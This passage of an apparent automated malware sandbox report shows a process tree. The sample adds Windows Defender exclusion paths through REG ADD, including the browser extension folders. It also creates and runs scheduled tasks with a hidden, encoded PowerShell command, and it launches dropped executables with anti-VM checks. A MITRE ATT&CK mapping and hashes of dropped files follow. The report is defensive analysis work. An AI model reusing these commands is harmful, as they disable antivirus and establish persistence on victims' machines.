                                                                                                                                                                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NFFblPWVSTUU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NFFblPWVSTUU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OniiUkVuU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OniiUkVuU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\eveqWKwISMUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\eveqWKwISMUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oMPLyiqsgsRtC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oMPLyiqsgsRtC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\RfQdYYQjhFJxkqVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\RfQdYYQjhFJxkqVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RkUDfeHyKRZhrXlO\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RkUDfeHyKRZhrXlO\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                PID:5740
                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:5784
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NFFblPWVSTUU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:384
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NFFblPWVSTUU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:5988
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NFFblPWVSTUU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:3704
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OniiUkVuU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:5076
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OniiUkVuU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:5708
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:5392
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:3136
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eveqWKwISMUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:2564
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eveqWKwISMUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:1120
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oMPLyiqsgsRtC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:5816
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oMPLyiqsgsRtC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:5404
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\RfQdYYQjhFJxkqVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:5916
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\RfQdYYQjhFJxkqVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:5160
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:1724
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:1992
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:464
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:3184
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:5756
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:3192
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RkUDfeHyKRZhrXlO /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:2568
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RkUDfeHyKRZhrXlO /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:2512
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "gEOjpVJge" /SC once /ST 08:27:16 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                            PID:6044
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                            schtasks /run /I /tn "gEOjpVJge"
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:5424
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:3588
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                schtasks /DELETE /F /TN "gEOjpVJge"
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:3928
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                  schtasks /CREATE /TN "akamOyUwOLVWEybrw" /SC once /ST 04:02:02 /RU "SYSTEM" /TR "\"C:\Windows\Temp\RkUDfeHyKRZhrXlO\WooAMnjmsKoKBAB\EPJGaFb.exe\" 0O /vDTZdidDn 525403 /S" /V1 /F
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                  PID:5160
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                  schtasks /run /I /tn "akamOyUwOLVWEybrw"
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:2968
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 804
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                    PID:3096
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe
                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\ad40971b6b\explorti.exe
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                  • Identifies Wine through registry keys
                                                                                                                                                                                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                  PID:4232
                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                  PID:5024
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:5988
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:2564
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                        PID:5400
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                          PID:3900
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                            PID:5952
                                                                                                                                                                                                                                                                                                                          • C:\Windows\Temp\RkUDfeHyKRZhrXlO\WooAMnjmsKoKBAB\EPJGaFb.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\Temp\RkUDfeHyKRZhrXlO\WooAMnjmsKoKBAB\EPJGaFb.exe 0O /vDTZdidDn 525403 /S
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                              PID:3236
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2032 -ip 2032
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:5268

                                                                                                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                    Reconnaissance

                                                                                                                                                                                                                                                                                                                                    Resource Development

                                                                                                                                                                                                                                                                                                                                    Initial Access

                                                                                                                                                                                                                                                                                                                                    Execution

                                                                                                                                                                                                                                                                                                                                    Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                    T1059

                                                                                                                                                                                                                                                                                                                                    PowerShell

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1059.001

                                                                                                                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1053.005

                                                                                                                                                                                                                                                                                                                                    System Services

                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                    T1569

                                                                                                                                                                                                                                                                                                                                    Service Execution

                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                    T1569.002

                                                                                                                                                                                                                                                                                                                                    Persistence

                                                                                                                                                                                                                                                                                                                                    Account Manipulation

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1098

                                                                                                                                                                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1547

                                                                                                                                                                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1547.001

                                                                                                                                                                                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                                                                                                    T1543

                                                                                                                                                                                                                                                                                                                                    Windows Service

                                                                                                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                                                                                                    T1543.003

                                                                                                                                                                                                                                                                                                                                    Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1546

                                                                                                                                                                                                                                                                                                                                    Netsh Helper DLL

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1546.007

                                                                                                                                                                                                                                                                                                                                    Power Settings

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1653

                                                                                                                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1053.005

                                                                                                                                                                                                                                                                                                                                    Privilege Escalation

                                                                                                                                                                                                                                                                                                                                    Account Manipulation

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1098

                                                                                                                                                                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1547

                                                                                                                                                                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1547.001

                                                                                                                                                                                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                                                                                                    T1543

                                                                                                                                                                                                                                                                                                                                    Windows Service

                                                                                                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                                                                                                    T1543.003

                                                                                                                                                                                                                                                                                                                                    Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1546

                                                                                                                                                                                                                                                                                                                                    Netsh Helper DLL

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1546.007

                                                                                                                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                                                                                                                    Scheduled Task

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1053.005

                                                                                                                                                                                                                                                                                                                                    Defense Evasion

                                                                                                                                                                                                                                                                                                                                    Hide Artifacts

                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                    T1564

                                                                                                                                                                                                                                                                                                                                    Hidden Files and Directories

                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                    T1564.001

                                                                                                                                                                                                                                                                                                                                    Impair Defenses

                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                    T1562

                                                                                                                                                                                                                                                                                                                                    Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                    T1562.004

                                                                                                                                                                                                                                                                                                                                    Modify Registry

                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                    T1112

                                                                                                                                                                                                                                                                                                                                    Subvert Trust Controls

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1553

                                                                                                                                                                                                                                                                                                                                    Install Root Certificate

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1553.004

                                                                                                                                                                                                                                                                                                                                    Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                    T1497

                                                                                                                                                                                                                                                                                                                                    Credential Access

                                                                                                                                                                                                                                                                                                                                    Unsecured Credentials

                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                    T1552

                                                                                                                                                                                                                                                                                                                                    Credentials In Files

                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                    T1552.001

                                                                                                                                                                                                                                                                                                                                    Discovery

                                                                                                                                                                                                                                                                                                                                    Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1120

                                                                                                                                                                                                                                                                                                                                    Process Discovery

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1057

                                                                                                                                                                                                                                                                                                                                    Query Registry

                                                                                                                                                                                                                                                                                                                                    8
                                                                                                                                                                                                                                                                                                                                    T1012

                                                                                                                                                                                                                                                                                                                                    System Information Discovery

                                                                                                                                                                                                                                                                                                                                    8
                                                                                                                                                                                                                                                                                                                                    T1082

                                                                                                                                                                                                                                                                                                                                    Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                    T1497

                                                                                                                                                                                                                                                                                                                                    Lateral Movement

                                                                                                                                                                                                                                                                                                                                    Collection

                                                                                                                                                                                                                                                                                                                                    Data from Local System

                                                                                                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                                                                                                    T1005

                                                                                                                                                                                                                                                                                                                                    Command and Control

                                                                                                                                                                                                                                                                                                                                    Web Service

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1102

                                                                                                                                                                                                                                                                                                                                    Exfiltration

                                                                                                                                                                                                                                                                                                                                    Impact

                                                                                                                                                                                                                                                                                                                                    Service Stop

                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                    T1489

                                                                                                                                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                                                                                                                                    AAEHJEGIIDAECAAKEBKFIEHJEH
                                                                                                                                                                                                                                                                                                                                    • Path C:\ProgramData\AAEHJEGIIDAECAAKEBKFIEHJEH
                                                                                                                                                                                                                                                                                                                                    • Size 20KB
                                                                                                                                                                                                                                                                                                                                    • SHA256 5644546ecefc6786c7be5b1a89e935e640963ccd34b130f21baab9370cb9055d
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    AKEGDHJDHDAFHJJKJEHC
                                                                                                                                                                                                                                                                                                                                    • Path C:\ProgramData\AKEGDHJDHDAFHJJKJEHC
                                                                                                                                                                                                                                                                                                                                    • Size 46KB
                                                                                                                                                                                                                                                                                                                                    • SHA256 776ecf8411b1b0167bea724409ac9d3f8479973df223ecc6e60e3302b3b2b8ea
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    CGIEBA
                                                                                                                                                                                                                                                                                                                                    • Path C:\ProgramData\DHJJEGHIIDAF\CGIEBA
                                                                                                                                                                                                                                                                                                                                    • Size 116KB
                                                                                                                                                                                                                                                                                                                                    • SHA256 8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    CGIEBA
                                                                                                                                                                                                                                                                                                                                    • Path C:\ProgramData\DHJJEGHIIDAF\CGIEBA
                                                                                                                                                                                                                                                                                                                                    • Size 6KB
                                                                                                                                                                                                                                                                                                                                    • SHA256 8abb3afc1148723edbd769bce4a708901a391ddee0cc4f683a7b931f9aa8f32d
